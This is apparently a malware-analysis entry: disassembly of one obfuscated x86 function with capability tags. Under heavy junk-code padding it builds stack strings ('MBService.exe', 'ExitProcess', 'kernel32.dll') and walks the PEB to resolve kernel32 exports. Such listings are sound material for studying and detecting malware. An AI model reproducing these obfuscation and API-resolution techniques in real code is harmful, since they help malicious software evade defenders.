Function at 0x100061de
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
add ebx, 0xc009
pop ebx
push eax
add eax, 0x1064e
and eax, 0x102be
pop eax
mov eax, 0x4d
mov word [ebp - 0x26cc], ax
mov ecx, 0x42
mov word [ebp - 0x26ca], cx
mov edx, 0x53
mov word [ebp - 0x26c8], dx
mov eax, 0x65
mov word [ebp - 0x26c6], ax
mov ecx, 0x72
mov word [ebp - 0x26c4], cx
mov edx, 0x76
mov word [ebp - 0x26c2], dx
mov eax, 0x69
mov word [ebp - 0x26c0], ax
mov ecx, 0x63
mov word [ebp - 0x26be], cx
mov edx, 0x65
mov word [ebp - 0x26bc], dx
mov eax, 0x2e
mov word [ebp - 0x26ba], ax
mov ecx, 0x65
mov word [ebp - 0x26b8], cx
mov edx, 0x78
mov word [ebp - 0x26b6], dx
mov eax, 0x65
mov word [ebp - 0x26b4], ax
xor ecx, ecx
mov word [ebp - 0x26b2], cx
mov dword [ebp - 0x12e0], 1
push esi
and esi, 0x72a7
pop esi
push edx
or edx, 0xd8b1
or edx, 0x7851
xor edx, 0x424a
and edx, 0xa094
pop edx
push esi
add esi, 0x12c24
pop esi
push ecx
add ecx, 0x13376
pop ecx
imul edx, dword [ebp - 0x12e0], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x12e0], 0xfe
sub edx, eax
xor edx, 0xaa6272
imul edx, dword [ebp - 0x12e0]
imul ecx, dword [ebp - 0x12e0], 0xfe
sub edx, ecx
mov dword [ebp - 0x12e4], edx
push edx
sub edx, 0x1602e
or edx, 0xd80d
add edx, 0x2f82
sub edx, 0x110e4
pop edx
push ebx
push edx
add esp, 4
xor ebx, 0x7d65
or ebx, 0xa836
or ebx, 0x9150
pop ebx
mov dword [ebp - 0x18], 1
push esi
push edi
add esp, 4
add esi, 0x149e9
xor esi, 0xcbfa
and esi, 0x937d
pop esi
push ebx
call 0x100023d8
add byte [ebx], dh
inc esi
inc esi
inc esp
cmp byte [eax + eax*2], bh
xor eax, 0x4c48333
or ebx, 0x7b4b
pop ebx
imul edx, dword [ebp - 0x18], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x18], 0xfe
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x18]
imul ecx, dword [ebp - 0x18], 0xfe
sub edx, ecx
mov dword [ebp - 0x1c], edx
push edx
xor edx, 0x14a10
xor edx, 0x100ac
or edx, 0x15ea1
and edx, 0x8763
pop edx
push eax
push ecx
add esp, 4
sub eax, 0x8ecb
sub eax, 0x108be
or eax, 0xc1e8
pop eax
push edx
sub edx, 0x16724
and edx, 0x1605f
add edx, 0xf4bd
pop edx
push eax
xor eax, 0x2424
pop eax
push edi
add edi, 0x15a94
sub edi, 0x504a
pop edi
push eax
xor eax, 0x2054
pop eax
mov dword [ebp - 0x34], 1
push edi
or edi, 0xbbba
pop edi
push eax
push ebx
add esp, 4
sub eax, 0xd144
jmp 0x10002493
call 0x100024a2
add byte [0x374c3c3c], bh
xor eax, 0x83454c36
les eax, [ebx + ebp*8]
add esi, dword [edi]
inc eax
aaa
pop eax
imul edx, dword [ebp - 0x34], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x34], 0xfe
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x34]
imul ecx, dword [ebp - 0x34], 0xfe
sub edx, ecx
mov dword [ebp - 0x38], edx
jmp 0x1000268c
mov ecx, dword [ebp - 0x12e4]
mov edx, dword [ebp - 0x12e0]
mov dword [ebp - 0x194c], ecx
mov dword [ebp - 0x1948], edx
push esi
push eax
add esp, 4
sub esi, 0x135eb
pop esi
push edx
push esi
add esp, 4
or edx, 0xff0b
pop edx
push esi
add esi, 0xaa3a
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x6f0d
add ebx, 0x111dc
pop ebx
push edx
push ecx
add esp, 4
call 0x100026e9
add byte [esi], bh
xor al, 0x4c
cmp eax, 0x42463b4f
add esp, 4
call 0x100026f8
add byte [esi + ecx*2], dh
dec esp
dec edx
dec ecx
inc eax
add esp, 4
and edx, 0x13c7
or edx, 0xa0ed
pop edx
mov eax, dword [ebp - 0x38]
add eax, 0xfe
imul ecx, dword [ebp - 0x34], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x34], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x34]
mov dword [ebp - 0x24bc], eax
push edx
xor edx, 0x7a21
or edx, 0x12d05
sub edx, 0x6ea2
pop edx
push ebx
and ebx, 0x14f17
call 0x1000275a
add byte [edx + 0x3b], al
cmp eax, dword [esi + 0x4e]
xor eax, 0x4c48348
sub ebx, 0x11a6f
pop ebx
mov eax, dword [ebp - 0x194c]
add eax, 0xfe
imul ecx, dword [ebp - 0x1948], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x1948], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1948]
mov dword [ebp - 0x24b8], eax
mov eax, dword [ebp - 0x24b8]
mov dword [ebp - 0x24c0], eax
mov ecx, dword [ebp - 0x24bc]
cmp ecx, dword [ebp - 0x24c0]
jae 0x100027c0
mov dword [ebp - 0x18b8], 1
jmp 0x100027ca
mov dword [ebp - 0x18b8], 0
mov dl, byte [ebp - 0x18b8]
mov byte [ebp - 0x445], dl
movzx eax, byte [ebp - 0x445]
test eax, eax
je 0x1000583d
push esi
sub esi, 0x4556
sub esi, 0x2073
pop esi
push edx
push eax
add esp, 4
sub edx, 0xdefb
pop edx
push edx
jmp 0x10002808
pop edx
push edx
sub edx, 0xb34e
and edx, 0x74f7
pop edx
push edi
push esi
add esp, 4
add edi, 0x8d2d
pop edi
push ebx
add ebx, 0x1705e
xor ebx, 0xf50c
call 0x1000283f
add byte [esi + 0x45], cl
aaa
inc ebx
aas
dec edx
dec ecx
inc edi
dec edi
add esp, 4
or ebx, 0x895a
pop ebx
mov ecx, dword [ebp - 0x38]
add ecx, 0xfe
imul edx, dword [ebp - 0x34], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x34], 0xfe
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x34]
mov dword [ebp - 0x24c4], ecx
mov ecx, dword [ebp - 0x24c4]
mov dword [ebp - 0x24c8], ecx
cmp dword [ebp - 0x24c8], 0x63c1
jne 0x100029c4
push edx
xor edx, 0x17b13
or edx, 0xb350
xor edx, 0x6044
pop edx
push eax
push eax
add esp, 4
and eax, 0xdab2
xor eax, 0x11b85
or eax, 0xfb16
and eax, 0x491c
pop eax
mov edx, dword [ebp - 0x1c]
add edx, 0xfe
imul eax, dword [ebp - 0x18], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x18], 0xfe
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x18]
mov dword [ebp - 0x24cc], edx
mov edx, dword [ebp - 0x24cc]
mov dword [ebp - 0x24d0], edx
mov eax, dword [ebp - 0x24d0]
sub eax, 0x898
mov dword [ebp - 0x24d4], eax
mov dword [ebp - 0x12e8], 1
push ebx
add ebx, 0xd2b9
add ebx, 0xfc3f
pop ebx
push ecx
push ebx
add esp, 4
or ecx, 0x46fd
xor ecx, 0x8763
pop ecx
push edi
push edx
add esp, 4
add edi, 0x1411d
xor edi, 0x46be
pop edi
imul ecx, dword [ebp - 0x12e8], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x12e8], 0xfe
sub ecx, edx
xor ecx, dword [ebp - 0x24d4]
imul ecx, dword [ebp - 0x12e8]
imul eax, dword [ebp - 0x12e8], 0xfe
sub ecx, eax
mov dword [ebp - 0x12ec], ecx
mov ecx, dword [ebp - 0x12ec]
mov edx, dword [ebp - 0x12e8]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
push edi
sub edi, 0x111f1
pop edi
push ecx
sub ecx, 0x16857
pop ecx
push ebx
add ebx, 0x3f5e
sub ebx, 0xdd26
add ebx, 0x1016e
pop ebx
push ecx
or ecx, 0xe929
sub ecx, 0xbfde
pop ecx
push ecx
or ecx, 0x101f
or ecx, 0x8e81
or ecx, 0x627
pop ecx
push esi
push eax
add esp, 4
sub esi, 0x177d5
xor esi, 0x7ddd
or esi, 0x5091
xor esi, 0x3ad2
pop esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfe
imul ecx, dword [ebp - 0x18], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x18], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x24d8], eax
mov eax, dword [ebp - 0x24d8]
mov dword [ebp - 0x2548], eax
lea ecx, [ebp - 0xb24]
mov dword [ebp - 0x47c], ecx
mov edx, dword [ebp - 0x47c]
mov dword [edx + 4], 1
push eax
push eax
add esp, 4
and eax, 0xd2a
pop eax
push edx
push ecx
add esp, 4
jmp 0x10002a5f
call 0x10002a6d
add byte [edi], dh
dec eax
dec esi
dec edx
dec ebp
dec eax
inc ecx
add esp, 4
add edx, 0x17142
pop edx
mov eax, dword [ebp - 0x47c]
imul ecx, dword [eax + 4], 0xfe
add ecx, 0x56f3663b
mov edx, dword [ebp - 0x47c]
imul eax, dword [edx + 4], 0xfe
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x47c]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x47c]
imul edx, dword [eax + 4], 0xfe
sub ecx, edx
mov eax, dword [ebp - 0x47c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x47c]
mov dword [ebp - 0x2728], ecx
push eax
push eax
add esp, 4
call 0x10002adc
add byte [edi], dh
inc esi
aaa
inc edi
dec eax
inc ebp
xor al, byte [ebx - 0x1f7efb3c]
invalid
mov dword [ebp - 0x488], 0
call 0x1000584c
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x488], eax
push ebx
push ecx
add esp, 4
add ebx, 0x774d
pop ebx
push ecx
or ecx, 0xa812
pop ecx
push edi
push eax
add esp, 4
and edi, 0x7bad
add edi, 0x17469
pop edi
push ebx
push ecx
add esp, 4
or ebx, 0x69e8
pop ebx
mov ecx, dword [ebp - 0x2770]
mov dword [ebp - 0x18d4], ecx
push edi
or edi, 0x7a17
or edi, 0x9883
and edi, 0x139cd
pop edi
push esi
push ebx
add esp, 4
add esi, 0x155a1
pop esi
push esi
push eax
add esp, 4
or esi, 0x411a
sub esi, 0x4055
pop esi
mov edx, dword [ebp - 0x1c]
add edx, 0xfe
imul eax, dword [ebp - 0x18], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x18], 0xfe
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x18]
mov dword [ebp - 0x18d4], edx
mov edx, dword [ebp - 0x488]
mov dword [ebp - 0x2684], edx
mov eax, dword [ebp - 0x2684]
add eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x488], eax
push esi
push ebx
add esp, 4
xor esi, 0x4de4
call 0x10005928
add byte [edx + 0x3c], cl
aaa
dec ecx
inc esp
dec eax
inc ecx
add esp, 4
call 0x10005937
add byte [ecx + 0x38], al
dec ebx
inc ecx
inc edi
aaa
add esp, 4
jmp 0x10005941
pop esi
mov byte [ebp - 0xddc], 0x52
mov byte [ebp - 0xddb], 0xb9
mov byte [ebp - 0xdda], 0x10
mov byte [ebp - 0xdd9], 0x10
mov byte [ebp - 0xdd8], 0x10
mov byte [ebp - 0xdd7], 0x10
mov byte [ebp - 0xdd6], 0x5a
push edi
add edi, 0x17018
or edi, 0x265d
pop edi
push ebx
sub ebx, 0x18585
or ebx, 0xd42c
and ebx, 0x416f
call 0x100059a1
add byte [esi + ecx*2], bh
inc eax
inc edx
dec eax
inc esi
xor al, 0x83
les eax, [ebx + ebx*2]
mov byte [ebp - 0xdd4], 0x52
mov byte [ebp - 0xdd3], 0xb9
mov byte [ebp - 0xdd2], 0x20
mov byte [ebp - 0xdd1], 0x20
mov byte [ebp - 0xdd0], 0x20
mov byte [ebp - 0xdcf], 0x20
mov byte [ebp - 0xdce], 0x5a
push edi
push edx
add esp, 4
and edi, 0x11f71
add edi, 0x10eff
or edi, 0x1507d
pop edi
push edi
push ecx
add esp, 4
xor edi, 0x18b
jmp 0x100059ff
pop edi
push edi
add edi, 0x11b02
pop edi
mov dword [ebp - 0x2774], 0xe
push edi
push esi
add esp, 4
xor edi, 0x1154b
xor edi, 0x11ee9
or edi, 0xc446
xor edi, 0x76dd
pop edi
push ebx
or ebx, 0x6306
and ebx, 0x15fd1
sub ebx, 0x14d3d
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xddc]
mov dword [ebp - 0x18d8], eax
push edi
jmp 0x10005a60
or edi, 0x2b3a
or edi, 0xc9a6
sub edi, 0xe47f
pop edi
push ecx
push ecx
add esp, 4
and ecx, 0x2d17
sub ecx, 0x82a6
sub ecx, 0x7350
pop ecx
mov dword [ebp - 0x2778], 0xffffffff
push esi
jmp 0x10005a9b
sub esi, 0x13fcc
xor esi, 0x932
pop esi
push edx
jmp 0x10005ab2
and edx, 0x3c08
and edx, 0x2ac
pop edx
push edx
sub edx, 0x12d3b
pop edx
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x5bc], ecx
jmp 0x10005ae4
mov edx, dword [ebp - 0x5bc]
add edx, 1
mov dword [ebp - 0x5bc], edx
push ecx
push ecx
add esp, 4
or ecx, 0x90d4
or ecx, 0x117a6
add ecx, 0x1668a
pop ecx
push esi
or esi, 0x7b17
sub esi, 0x5513
jmp 0x10005b0f
and esi, 0x458b
pop esi
mov eax, dword [ebp - 0x5bc]
sub eax, dword [ebp - 0x488]
cmp eax, 0xffffffff
jb 0x10005b5e
push eax
push esi
add esp, 4
or eax, 0x11cb2
call 0x10005b3f
add byte [esi + 0x4e], cl
cmp dword [0x834b3b48], edi
les eax, [eax + ebx*2]
push eax
add eax, 0x33a8
xor eax, 0x11714
pop eax
push edx
or edx, 0x3f64
pop edx
jmp 0x10005d8c
mov dword [ebp - 0xe80], 7
mov ecx, dword [ebp - 0x5bc]
mov dword [ebp - 0xc0c], ecx
push edi
push edi
add esp, 4
xor edi, 0x24c6
pop edi
push eax
push esi
add esp, 4
or eax, 0x11023
pop eax
push esi
xor esi, 0x3ca3
and esi, 0x15200
sub esi, 0x15c22
add esi, 0xc7b7
pop esi
mov edx, dword [ebp - 0x18d8]
mov dword [ebp - 0xc08], edx
mov dword [ebp - 0xe84], 0
mov eax, dword [ebp - 0x5bc]
cmp eax, dword [ebp - 0x18d8]
jne 0x10005c0d
push eax
push eax
add esp, 4
or eax, 0xab2e
add eax, 0x11494
add eax, 0x589f
or eax, 0x7432
pop eax
push esi
or esi, 0x11a17
add esi, 0x174e2
xor esi, 0x1234a
pop esi
mov ecx, dword [ebp - 0xe84]
mov dword [ebp - 0x18e0], ecx
jmp 0x10005d3e
cmp dword [ebp - 0xe80], 0
jle 0x10005d32
push esi
and esi, 0xbbd
sub esi, 0x75e9
add esi, 0x10257
or esi, 0x147b5
pop esi
push edi
push eax
add esp, 4
and edi, 0x75a5
pop edi
push eax
push esi
add esp, 4
or eax, 0xe7c5
pop eax
mov edx, dword [ebp - 0xc0c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xc08]
movzx edx, byte [ecx]
cmp eax, edx
je 0x10005cce
push ecx
or ecx, 0x2526
or ecx, 0x5bfa
xor ecx, 0x50b5
and ecx, 0x2638
pop ecx
push esi
push edx
add esp, 4
add esi, 0x13347
xor esi, 0xce53
sub esi, 0x1762e
pop esi
mov eax, dword [ebp - 0xc0c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xc08]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x10005cb6
mov dword [ebp - 0x18dc], 1
jmp 0x10005cc0
mov dword [ebp - 0x18dc], 0xffffffff
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0xe84], ecx
jmp 0x10005d32
push esi
push esi
add esp, 4
xor esi, 0x4492
and esi, 0xe2eb
xor esi, 0x1ce3
pop esi
push ecx
or ecx, 0x14468
sub ecx, 0x17585
sub ecx, 0x126b1
and ecx, 0xdd3a
pop ecx
mov edx, dword [ebp - 0xe80]
sub edx, 1
mov dword [ebp - 0xe80], edx
mov eax, dword [ebp - 0xc0c]
add eax, 1
mov dword [ebp - 0xc0c], eax
mov ecx, dword [ebp - 0xc08]
add ecx, 1
mov dword [ebp - 0xc08], ecx
jmp 0x10005c0d
mov edx, dword [ebp - 0xe84]
mov dword [ebp - 0x18e0], edx
cmp dword [ebp - 0x18e0], 0
jne 0x10005d87
push edx
sub edx, 0x2664
add edx, 0x165d6
pop edx
push edx
call 0x10005d66
add byte [edx + 0x32], al
cmp byte [edx + 0x42], cl
inc ebp
dec ebx
inc esi
aaa
xor eax, dword [ebx + 0x7e804c4]
add byte [eax], al
add byte [eax], al
xor ecx, dword [edi + 0x3d]
inc ebx
cmp al, 0x32
add esp, 4
pop edx
mov eax, dword [ebp - 0x5bc]
mov dword [ebp - 0x494], eax
jmp 0x10005dc8
jmp 0x10005ad5
push esi
push ebx
add esp, 4
and esi, 0x104e1
and esi, 0xab92
call 0x10005daa
add byte [edx + 0x48], cl
dec ebx
dec ecx
dec esi
xor eax, dword [ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
cmp byte [edi], dh
dec eax
cmp dword [ebx], esi
inc edi
dec ecx
add esp, 4
pop esi
mov dword [ebp - 0x494], 0
push edi
push ecx
add esp, 4
xor edi, 0xb96f
call 0x10005de2
add byte [edx], bh
dec ebx
inc ebp
dec edx
dec ebx
dec ebx
dec esi
cmp al, 0x40
add esp, 4
pop edi
push edx
sub edx, 0x147bd
pop edx
push edi
push edi
add esp, 4
sub edi, 0xc666
pop edi
push edi
push ecx
add esp, 4
jmp 0x10005e07
pop edi
push eax
push edi
add esp, 4
jmp 0x10005e15
call 0x10005e22
add byte [eax], bh
dec edx
dec edi
dec esi
inc ecx
inc ecx
xor eax, 0xeb04c483
add al, 0x4a
dec ebp
dec edi
dec edi
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xdd4]
mov dword [ebp - 0x18e4], eax
push eax
push edx
add esp, 4
jmp 0x10005e4f
xor eax, 0x23bb
jmp 0x10005e5e
pop eax
push esi
add esi, 0x172d0
and esi, 0x13752
add esi, 0x9874
pop esi
mov dword [ebp - 0x277c], 0xffffffff
push edx
push ecx
add esp, 4
add edx, 0x14674
add edx, 0x1fdb
sub edx, 0x640b
xor edx, 0xa0d
pop edx
push esi
push esi
add esp, 4
or esi, 0x184f9
pop esi
push edi
and edi, 0x12ac8
pop edi
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x5c0], ecx
jmp 0x10005ecc
mov edx, dword [ebp - 0x5c0]
add edx, 1
mov dword [ebp - 0x5c0], edx
push eax
add eax, 0x136f2
pop eax
push edx
push esi
add esp, 4
call 0x10005ee8
add byte [edi + 0x3f], cl
dec ebp
aas
xor eax, 0x38394835
add esp, 4
or edx, 0x149da
and edx, 0x15e5d
or edx, 0xd502
pop edx
mov eax, dword [ebp - 0x5c0]
sub eax, dword [ebp - 0x488]
cmp eax, 0xffffffff
jb 0x10005f46
push ebx
sub ebx, 0x184ba
xor ebx, 0x15439
sub ebx, 0x150fb
pop ebx
push ebx
push edi
add esp, 4
call 0x10005f37
add byte [eax], bh
dec edx
inc edx
inc ecx
dec edi
push eax
inc ebp
aas
cmp al, 0x83
les eax, [ecx + eax*4]
imul ax, word [eax], 0
pop ebx
jmp 0x10006174
mov dword [ebp - 0xe88], 7
mov ecx, dword [ebp - 0x5c0]
mov dword [ebp - 0xc04], ecx
push ecx
push edi
add esp, 4
or ecx, 0xb58b
and ecx, 0x2922
call 0x10005f7c
add byte [ecx], bh
cmp byte ds:[edi + 0x4c], cl
dec edi
cmp byte [edi + ecx*2 - 0x7d], al
les eax, [ecx + eax*4]
int1
push edx
sgdt [eax]
pop ecx
push ebx
and ebx, 0x11ab
pop ebx
mov edx, dword [ebp - 0x18e4]
mov dword [ebp - 0xc00], edx
mov dword [ebp - 0xe8c], 0
mov eax, dword [ebp - 0x5c0]
cmp eax, dword [ebp - 0x18e4]
jne 0x10005ff5
push ebx
push ebx
add esp, 4
xor ebx, 0x71da
or ebx, 0xb5bb
and ebx, 0x9301
add ebx, 0xf3b9
pop ebx
push esi
sub esi, 0x110ff
or esi, 0x5c5c
add esi, 0xc935
pop esi
mov ecx, dword [ebp - 0xe8c]
mov dword [ebp - 0x18b0], ecx
jmp 0x10006126
cmp dword [ebp - 0xe88], 0
jle 0x1000611a
push ecx
push ebx
add esp, 4
or ecx, 0xf3e1
add ecx, 0x5868
pop ecx
push ebx
push ecx
add esp, 4
jmp 0x10006022
sub ebx, 0xbe52
or ebx, 0x75a
jmp 0x10006033
pop ebx
mov edx, dword [ebp - 0xc04]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xc00]
movzx edx, byte [ecx]
cmp eax, edx
je 0x100060b6
push eax
jmp 0x10006050
and eax, 0x1003d
or eax, 0xb48c
pop eax
push ebx
jmp 0x10006064
call 0x10006072
add byte [edx + 0x50], cl
aaa
dec edi
dec esi
cmp al, 0x4a
dec ebx
add esp, 4
or ebx, 0x10cd
pop ebx
mov eax, dword [ebp - 0xc04]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xc00]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x1000609e
mov dword [ebp - 0x18e8], 1
jmp 0x100060a8
mov dword [ebp - 0x18e8], 0xffffffff
mov ecx, dword [ebp - 0x18e8]
mov dword [ebp - 0xe8c], ecx
jmp 0x1000611a
push eax
push ecx
add esp, 4
and eax, 0x16733
and eax, 0x108a4
or eax, 0x10ce9
pop eax
push eax
sub eax, 0xf857
and eax, 0x1325d
or eax, 0x11e2d
and eax, 0xf28e
pop eax
mov edx, dword [ebp - 0xe88]
sub edx, 1
mov dword [ebp - 0xe88], edx
mov eax, dword [ebp - 0xc04]
add eax, 1
mov dword [ebp - 0xc04], eax
mov ecx, dword [ebp - 0xc00]
add ecx, 1
mov dword [ebp - 0xc00], ecx
jmp 0x10005ff5
mov edx, dword [ebp - 0xe8c]
mov dword [ebp - 0x18b0], edx
cmp dword [ebp - 0x18b0], 0
jne 0x1000616f
push ecx
push edi
add esp, 4
and ecx, 0x17124
pop ecx
push edx
push ebx
add esp, 4
add edx, 0x3e85
jmp 0x1000614e
or edx, 0x17049
pop edx
push esi
push ebx
add esp, 4
and esi, 0xa7c2
pop esi
mov eax, dword [ebp - 0x5c0]
mov dword [ebp - 0xbfc], eax
jmp 0x100061b0
jmp 0x10005ebd
push edi
add edi, 0x10113
add edi, 0x5bae
or edi, 0x16665
add edi, 0x17af1
pop edi
push eax
call 0x1000619c
add byte [ecx + edi + 0x4c], al
inc edx
cmp esi, dword [ebx]
add esp, 4
and eax, 0x12f5e
pop eax
mov dword [ebp - 0xbfc], 0
push edx
and edx, 0xec66
add edx, 0xf0e3
call 0x100061cd
add byte [edx + 0x3b], al
push eax
cmp eax, 0x32414d39
dec edi
cmp eax, 0xe804c483
or dword [eax], eax
add byte [eax], al
add byte [edi], dh
inc ecx
inc ecx
inc edi
push eax
inc esi
add esp, 4
pop edx
mov byte [ebp - 0x9c0], 0x45
mov byte [ebp - 0x9bf], 0x78
mov byte [ebp - 0x9be], 0x69
mov byte [ebp - 0x9bd], 0x74
mov byte [ebp - 0x9bc], 0x50
mov byte [ebp - 0x9bb], 0x72
mov byte [ebp - 0x9ba], 0x6f
mov byte [ebp - 0x9b9], 0x63
mov byte [ebp - 0x9b8], 0x65
mov byte [ebp - 0x9b7], 0x73
mov byte [ebp - 0x9b6], 0x73
mov byte [ebp - 0x9b5], 0
push eax
sub eax, 0x75dc
xor eax, 0x1628a
and eax, 0x6844
pop eax
push edx
push ebx
add esp, 4
xor edx, 0xa125
and edx, 0x10efe
xor edx, 0x1766b
jmp 0x10006267
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1a68], cx
mov edx, 0x65
mov word [ebp - 0x1a66], dx
mov eax, 0x72
mov word [ebp - 0x1a64], ax
mov ecx, 0x6e
mov word [ebp - 0x1a62], cx
mov edx, 0x65
mov word [ebp - 0x1a60], dx
mov eax, 0x6c
mov word [ebp - 0x1a5e], ax
mov ecx, 0x33
mov word [ebp - 0x1a5c], cx
mov edx, 0x32
mov word [ebp - 0x1a5a], dx
mov eax, 0x2e
mov word [ebp - 0x1a58], ax
mov ecx, 0x64
mov word [ebp - 0x1a56], cx
mov edx, 0x6c
mov word [ebp - 0x1a54], dx
mov eax, 0x6c
mov word [ebp - 0x1a52], ax
xor ecx, ecx
mov word [ebp - 0x1a50], cx
push edx
sub edx, 0x135d8
xor edx, 0x57c9
call 0x1000631d
add byte [ecx], bh
dec eax
inc eax
inc ecx
xor ecx, dword [ebx + 0x47]
cmp byte [edi], bh
add esp, 4
add edx, 0x1905
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0xc70d
pop ebx
push edx
push edi
add esp, 4
sub edx, 0xae28
pop edx
push ebx
push edi
add esp, 4
or ebx, 0x1388a
xor ebx, 0x7db9
and ebx, 0x7fc1
xor ebx, 0xe346
pop ebx
push esi
xor esi, 0x48aa
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x2688], edx
mov eax, dword [ebp - 0x2688]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x268c], ecx
mov edx, dword [ebp - 0x268c]
mov dword [ebp - 0x18ec], edx
push eax
push ebx
add esp, 4
jmp 0x1000639b
or eax, 0x52b2
pop eax
push edx
add edx, 0x552d
pop edx
push esi
push esi
add esp, 4
sub esi, 0x136cb
jmp 0x100063be
pop esi
cmp dword [ebp - 0x18ec], 0
jne 0x100063d7
mov dword [ebp - 0x398], 0
jmp 0x10006693
mov eax, dword [ebp - 0x18ec]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xe98], edx
push edi
push eax
add esp, 4
sub edi, 0x8172
pop edi
push ecx
xor ecx, 0x1608
pop ecx
push edx
push ebx
add esp, 4
or edx, 0xa997
or edx, 0x12c1c
or edx, 0x128c2
and edx, 0x45c4
pop edx
cmp dword [ebp - 0xe98], 0
jne 0x10006433
mov dword [ebp - 0x398], 0
jmp 0x10006693
mov eax, dword [ebp - 0xe98]
mov dword [ebp - 0x5c4], eax
push edx
xor edx, 0x9987
xor edx, 0x6901
sub edx, 0xf6b9
pop edx
push ecx
push edi
add esp, 4
sub ecx, 0x819f
and ecx, 0x1861
pop ecx
push edi
push ebx
add esp, 4
jmp 0x10006470
pop edi
lea ecx, [ebp - 0x1a68]
mov dword [ebp - 0xe94], ecx
mov edx, dword [ebp - 0x5c4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xe90], eax
xor ecx, ecx
mov word [ebp - 0x264], cx
xor edx, edx
mov word [ebp - 0x138], dx
push edx
push ebx
add esp, 4
xor edx, 0x1512d
sub edx, 0x6abc
or edx, 0x144d0
pop edx
push ecx
push edi
add esp, 4
jmp 0x100064c3
and ecx, 0x140e2
and ecx, 0x16a46
pop ecx
mov eax, dword [ebp - 0xe90]
mov cx, word [eax]
mov word [ebp - 0x12ae], cx
mov edx, dword [ebp - 0xe90]
add edx, 2
mov dword [ebp - 0xe90], edx
mov ax, word [ebp - 0x12ae]
mov word [ebp - 0x264], ax
mov ecx, dword [ebp - 0xe94]
mov dx, word [ecx]
mov word [ebp - 0x12b0], dx
mov eax, dword [ebp - 0xe94]
add eax, 2
mov dword [ebp - 0xe94], eax
mov cx, word [ebp - 0x12b0]
mov word [ebp - 0x138], cx
push edi
jmp 0x10006534
xor edi, 0x7459
pop edi
push ecx
or ecx, 0x10d8e
jmp 0x10006547
xor ecx, 0xe01a
sub ecx, 0xbf50
pop ecx
push edx
sub edx, 0xf9f
pop edx
movzx edx, word [ebp - 0x138]
test edx, edx
jne 0x1000657f
movzx eax, word [ebp - 0x264]
movzx ecx, word [ebp - 0x138]
sub eax, ecx
mov dword [ebp - 0x18f4], eax
jmp 0x100065e2
movzx edx, word [ebp - 0x264]
movzx eax, word [ebp - 0x138]
cmp edx, eax
je 0x1000649e
movzx ecx, word [ebp - 0x264]
xor ecx, 0x20
movzx edx, word [ebp - 0x138]
cmp ecx, edx
je 0x1000649e
movzx eax, word [ebp - 0x264]
movzx ecx, word [ebp - 0x138]
cmp eax, ecx
jge 0x100065cc
mov dword [ebp - 0x18f0], 0xffffffff
jmp 0x100065d6
mov dword [ebp - 0x18f0], 1
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
cmp dword [ebp - 0x18f4], 0
jne 0x1000662b
push edi
push ebx
add esp, 4
and edi, 0x4a78
add edi, 0x6642
xor edi, 0xec8d
sub edi, 0xfcc2
pop edi
push edx
and edx, 0x3ac
sub edx, 0x167ef
add edx, 0x207
pop edx
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x398], eax
jmp 0x10006693
push esi
push ecx
add esp, 4
jmp 0x10006635
and esi, 0x921e
or esi, 0x1e55
pop esi
push edi
push ebx
add esp, 4
jmp 0x1000664e
jmp 0x10006656
xor edi, 0x1845
pop edi
mov ecx, dword [ebp - 0x5c4]
mov edx, dword [ecx]
mov dword [ebp - 0x5c4], edx
mov eax, dword [ebp - 0x5c4]
cmp eax, dword [ebp - 0xe98]
je 0x10006689
mov ecx, dword [ebp - 0x5c4]
cmp dword [ecx + 0x30], 0
jne 0x1000643f
mov dword [ebp - 0x398], 0
push esi
push ebx
add esp, 4
call 0x100066a8
add byte [ebx], dh
dec eax
aaa
xor dh, byte [0x4a503d50]
add esp, 4
xor esi, 0x3245
pop esi
